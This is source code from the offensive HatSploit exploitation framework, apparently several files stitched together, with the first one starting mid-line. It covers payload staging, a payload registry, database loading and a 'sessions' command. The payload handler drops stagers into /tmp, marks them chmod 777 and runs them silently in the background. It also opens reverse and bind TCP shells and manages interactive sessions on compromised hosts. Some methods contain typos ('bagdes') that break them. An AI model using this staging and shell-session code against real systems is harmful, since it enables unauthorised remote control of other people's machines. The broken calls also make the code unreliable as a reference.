&\n" .encode()) else: sender( *args, f"chmod 777 {path}; sh -c '{path} {payload_args}' 2>/dev/null &" ) def set_session_details(self, payload, session): if not session.details['Type']: session.details['Type'] = 'custom' session.details['Platform'] = payload['Platform'] return session def handle_session(self, host, port, payload, sender=None, args=[], location='/tmp', timeout=None, method=None): if payload['Payload'] is None: self.badges.output_error("Payload stage is not found!") return False if sender is not None: session = payload['Session'] if payload[ 'Session'] is not None else HatSploitSession if payload['Category'].lower() == 'stager': self.echo_stage(payload['Payload'], sender, args, payload['Args'], location) elif payload['Category'].lower() == 'single': sender(*args, payload['Payload']) else: self.badges.output_error("Invalid payload category!") return False else: if method is not None: if method.lower() == 'reverse_tcp': new_session, remote_host = self.listen_session( host, port, timeout, HatSploitSession) if not new_session and not remote_host: return False if method.lower() == 'bind_tcp': new_session = self.connect_session(host, port, timeout, HatSploitSession) remote_host = host if not new_session: return False if payload['Category'].lower() == 'stager': self.echo_stage(payload['Payload'], new_session.send, args, payload['Args'], location, encode=True) elif payload['Category'].lower() == 'single': new_session.send_command(payload['Payload']) else: self.badges.output_error("Invalid payload category!") return False else: self.badges.output_error("Failed to execute payload stage!") return False if payload['Type'].lower() == 'one_side': self.badges.output_warning( "Payload completed but no session was created.") return True session = payload['Session'] if payload[ 'Session'] is not None else HatSploitSession if payload['Type'].lower() == 'bind_tcp': new_session = self.connect_session(host, port, timeout, session) remote_host = host if not new_session: return False if payload['Type'].lower() == 'reverse_tcp': new_session, remote_host = self.listen_session( host, port, timeout, session) if not new_session and not remote_host: return False new_session = self.set_session_details(payload, new_session) session_platform = new_session.details['Platform'] session_type = new_session.details['Type'] session_id = self.sessions.add_session(session_platform, session_type, remote_host, port, new_session) self.badges.output_success("Session " + str(session_id) + " opened!") return True
class Payloads: def __init__(self): self.importer = Importer() self.local_storage = LocalStorage() self.badges = Badges() def check_exist(self, name): if self.check_style(name): all_payloads = self.local_storage.get("payloads") if all_payloads: for database in all_payloads.keys(): payloads = all_payloads[database] platform = self.get_platform(name) architecture = self.get_architecture(name) if platform in payloads.keys(): if architecture in payloads[platform].keys(): payload = self.get_name(name) if payload in payloads[platform][ architecture].keys(): return True return False @staticmethod def check_style(name): if len(name.split('/')) >= 3: return True return False def get_platform(self, name): if self.check_style(name): return name.split('/')[0] return None def get_architecture(self, name): if self.check_style(name): return name.split('/')[1] return None def get_name(self, name): if self.check_style(name): return os.path.join(*(name.split(os.path.sep)[2:])) return None def get_payload_object(self, platform, architecture, name): payload_full_name = self.get_full_name(platform, architecture, name) if self.check_exist(payload_full_name): database = self.get_database(payload_full_name) return self.local_storage.get( "payloads")[database][platform][architecture][name] return None def get_database(self, name): if self.check_style(name): all_payloads = self.local_storage.get("payloads") if all_payloads: for database in all_payloads.keys(): payloads = all_payloads[database] platform = self.get_platform(name) architecture = self.get_architecture(name) if platform in payloads.keys(): if architecture in payloads[platform].keys(): payload = self.get_name(name) if payload in payloads[platform][ architecture].keys(): return database return None @staticmethod def get_full_name(platform, architecture, name): return platform + '/' + architecture + '/' + name def check_current_module(self): if self.local_storage.get("current_module"): if len(self.local_storage.get("current_module")) > 0: return True return False def get_current_module_object(self): if self.check_current_module(): return self.local_storage.get_array( "current_module", self.local_storage.get("current_module_number")) return None def get_current_module_name(self): if self.check_current_module(): return self.local_storage.get_array( "current_module", self.local_storage.get( "current_module_number")).details['Module'] return None def import_payload(self, module_name, platform, architecture, name): payloads = self.get_payload_object(platform, architecture, name) try: payload_object = self.importer.import_payload(payloads['Path']) current_module_name = module_name imported_payloads = self.local_storage.get("imported_payloads") if imported_payloads: if current_module_name in imported_payloads.keys(): imported_payloads[current_module_name].update({ payload_object.details['Payload']: copy.copy(payload_object) }) else: imported_payloads.update({ current_module_name: { payload_object.details['Payload']: copy.copy(payload_object) } }) else: imported_payloads = { current_module_name: { payload_object.details['Payload']: copy.copy(payload_object) } } self.local_storage.set("imported_payloads", imported_payloads) except Exception: return None return payload_object def check_imported(self, module_name, name): imported_payloads = self.local_storage.get("imported_payloads") current_module_name = module_name if imported_payloads: if current_module_name in imported_payloads.keys(): if name in imported_payloads[current_module_name].keys(): return True return False def get_current_payload(self): imported_payloads = self.local_storage.get("imported_payloads") current_module_object = self.get_current_module_object() current_module_name = current_module_object.details['Module'] if hasattr(current_module_object, "payload"): name = current_module_object.payload['Value'] if current_module_name in imported_payloads.keys(): if name in imported_payloads[current_module_name].keys(): return imported_payloads[current_module_name][name] return None def add_payload(self, module_name, platform, architecture, name): payloads = self.get_payload_object(platform, architecture, name) not_installed = list() for dependence in payloads['Dependencies']: if not self.importer.import_check(dependence): not_installed.append(dependence) if not not_installed: full_name = self.get_full_name(platform, architecture, name) if not self.check_imported(module_name, full_name): payload_object = self.import_payload(module_name, platform, architecture, name) if not payload_object: self.badges.output_error( "Failed to select payload from database!") return False else: self.badges.output_error( "Payload depends this dependencies which is not installed:") for dependence in not_installed: self.badges.output_empty(" * " + dependence) return False return True
class DB: def __init__(self): self.badges = Badges() self.local_storage = LocalStorage() def disconnect_payloads_database(self, name): if self.local_storage.get("connected_payloads_databases"): if name in self.local_storage.get("connected_payloads_databases"): self.local_storage.delete_element( "connected_payloads_databases", name) self.local_storage.delete_element("payloads", name) return self.badges.output_error("No such payloads database connected!") def disconnect_modules_database(self, name): if self.local_storage.get("connected_modules_databases"): if name in self.local_storage.get("connected_modules_databases"): self.local_storage.delete_element( "connected_modules_databases", name) self.local_storage.delete_element("modules", name) return self.badges.output_error("No such modules database connected!") def disconnect_plugins_database(self, name): if self.local_storage.get("connected_plugins_databases"): if name in self.local_storage.get("connected_plugins_databases"): self.local_storage.delete_element( "connected_plugins_databases", name) self.local_storage.delete_element("plugins", name) return self.badges.output_error("No such plugins database connected!") def connect_payloads_database(self, name, path): if self.local_storage.get("connected_payloads_databases"): if name in self.local_storage.get("connected_payloads_databases"): self.bagdes.output_error( "Payloads database already connected!") return if not os.path.exists(path) or not str.endswith(path, "json"): self.badges.output_error("Not a payloads database!") return try: database = json.load(open(path)) except Exception: self.badges.output_error("Failed to connect payloads database!") return if '__database__' not in database.keys(): self.badges.output_error("No __database__ section found!") return if database['__database__']['type'] != "payloads": self.badges.output_error("Not a payloads database!") return del database['__database__'] payloads = {name: database} data = {name: {'path': path}} if not self.local_storage.get("connected_payloads_databases"): self.local_storage.set("connected_payloads_databases", dict()) self.local_storage.update("connected_payloads_databases", data) if self.local_storage.get("payloads"): self.local_storage.update("payloads", payloads) else: self.local_storage.set("payloads", payloads) def connect_modules_database(self, name, path): if self.local_storage.get("connected_modules_databases"): if name in self.local_storage.get("connected_modules_databases"): self.bagdes.output_error("Modules database already connected!") return if not os.path.exists(path) or not str.endswith(path, "json"): self.badges.output_error("Not a modules database!") return try: database = json.load(open(path)) except Exception: self.badges.output_error("Failed to connect modules database!") return if '__database__' not in database.keys(): self.badges.output_error("No __database__ section found!") return if database['__database__']['type'] != "modules": self.badges.output_error("Not a modules database!") return del database['__database__'] modules = {name: database} data = {name: {'path': path}} if not self.local_storage.get("connected_modules_databases"): self.local_storage.set("connected_modules_databases", dict()) self.local_storage.update("connected_modules_databases", data) if self.local_storage.get("modules"): self.local_storage.update("modules", modules) else: self.local_storage.set("modules", modules) def connect_plugins_database(self, name, path): if self.local_storage.get("connected_plugins_databases"): if name in self.local_storage.get("connected_plugins_databases"): self.bagdes.output_error("Plugins database already connected!") return if not os.path.exists(path) or not str.endswith(path, "json"): self.badges.output_error("Not a database!") return try: database = json.load(open(path)) except Exception: self.badges.output_error("Failed to connect plugins database!") return if '__database__' not in database.keys(): self.badges.output_error("No __database__ section found!") return if database['__database__']['type'] != "plugins": self.badges.output_error("Not a plugins database!") return del database['__database__'] plugins = {name: database} data = {name: {'path': path}} if not self.local_storage.get("connected_plugins_databases"): self.local_storage.set("connected_plugins_databases", dict()) self.local_storage.update("connected_plugins_databases", data) if self.local_storage.get("plugins"): self.local_storage.update("plugins", plugins) else: self.local_storage.set("plugins", plugins)
class HatSploitCommand(Command): sessions = Sessions() local_storage = LocalStorage() usage = "" usage += "sessions <option> [arguments]\n\n" usage += " -l, --list [session_platform] List all opened sessions\n" usage += " [for specified session platform].\n" usage += " -i, --interact <session_platform> <session_id> Interact with specified session.\n" usage += " -c, --close <session_platform> <session_id> Close specified session.\n" details = { 'Category': "sessions", 'Name': "sessions", 'Authors': ['Ivan Nikolsky (enty8080)'], 'Description': "Manage opened sessions.", 'Usage': usage, 'MinArgs': 1 } def run(self, argc, argv): if argv[0] in ['-l', '--list']: sessions = self.local_storage.get("sessions") if argc < 2: if sessions: for session_platform in sessions.keys(): sessions_data = list() headers = ("ID", "Type", "Host", "Port") for session_id in sessions[session_platform].keys(): session_type = sessions[session_platform][ session_id]['type'] host = sessions[session_platform][session_id][ 'host'] port = sessions[session_platform][session_id][ 'port'] sessions_data.append( (session_id, session_type, host, port)) self.print_table( "Opened Sessions (" + session_platform + ")", headers, *sessions_data) else: self.output_warning("No opened sessions available.") else: if argv[1] in sessions.keys(): session_platform = argv[1] sessions_data = list() headers = ("ID", "Type", "Host", "Port") for session_id in sessions[session_platform].keys(): session_type = sessions[session_platform][session_id][ 'type'] host = sessions[session_platform][session_id]['host'] port = sessions[session_platform][session_id]['port'] sessions_data.append( (session_id, session_type, host, port)) self.print_table( "Opened Sessions (" + session_platform + ")", headers, *sessions_data) else: self.output_error("Invalid session platform given!") elif argv[0] in ['-c', '--close']: if argc < 3: self.output_usage(self.details['Usage']) else: self.sessions.close_session(argv[1], argv[2]) elif argv[0] in ['-i', '--interact']: if argc < 3: self.output_usage(self.details['Usage']) else: self.sessions.spawn_interactive_connection(argv[1], argv[2]) else: self.output_usage(self.details['Usage'])
def __init__(self): self.badges = Badges() self.local_storage = LocalStorage()